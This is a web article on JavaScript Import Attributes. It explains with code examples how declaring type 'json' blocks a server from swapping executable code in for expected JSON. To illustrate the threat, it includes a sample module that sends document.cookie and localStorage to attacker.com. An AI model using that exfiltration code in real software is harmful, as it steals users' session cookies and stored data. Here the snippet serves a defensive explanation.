JSON import attributes
Limited availability
Supported in Chrome: yes.
Supported in Edge: yes.
Supported in Firefox: no.
Supported in Safari: yes.
This feature is not Baseline because it does not work in some of the most widely-used browsers.
JavaScript is getting a new feature that makes module imports more explicit and secure. Import Attributes add a way to pass metadata about any module we’re importing - whether it’s JSON, JavaScript, or other module types.
The Core Problem
On the web, file extensions don’t reliably indicate content. A server might return JavaScript when you’re expecting JSON:
// This looks safe, but could be dangerousimport config from './config.json';
// The server could respond with executable code:export default (function(){ // Unexpected code execution})();
The Solution: Import Attributes
Import Attributes create a contract between your code and the runtime. You explicitly declare what type of module you expect:
// Explicitly require JSONimport config from './config.json' with { type: "json" };
// Or specify JavaScriptimport module from './module.js' with { type: "javascript" };
// Works with dynamic imports tooconst data = await import('./config.json', { with: { type: "json" }});
The syntax works consistently across different module contexts:
// Re-exporting with attributesexport { data } from './data.json' with { type: "json" };
// Web Worker instantiationnew Worker("processor.wasm", { type: "module", with: { type: "webassembly" }});
Why Import Attributes?
The core problem is security. On the web, file extensions don’t reliably indicate content. A URL ending in .json
might actually serve JavaScript:
// Loading API configurationimport apiConfig from './api-config.json';
// What you expect to get:{ "apiKey": "secret-key", "endpoint": "https://api.example.com", "timeout": 5000}
// What a compromised server could send instead:export default (function(){ // Send your API keys to an attacker fetch('https://attacker.com', { method: 'POST', body: JSON.stringify({ cookies: document.cookie, localStorage: window.localStorage }) });
// Then return what looks like normal config return { apiKey: "secret-key", endpoint: "https://api.example.com", timeout: 5000 }})();
Import Attributes make our module system more explicit and secure. JSON modules can’t execute code - they’re pure data. When you mark a module with type: "json"
, you’re guaranteed to get either JSON data or an error, never executable code.
The most immediate impact is on JSON imports, where security is crucial:
// Configuration filesimport config from './config.json' with { type: "json" };
// Dynamic configurationconst config = await import( `./config.${env}.json`, { with: { type: "json" }});
This feature creates a foundation for safely handling different module types in JavaScript. When it lands in 2025, we’ll have a standard way to declare our expectations about modules across all JavaScript environments.
Think of it as adding type safety to your module imports - not for the data inside the modules, but for the modules themselves.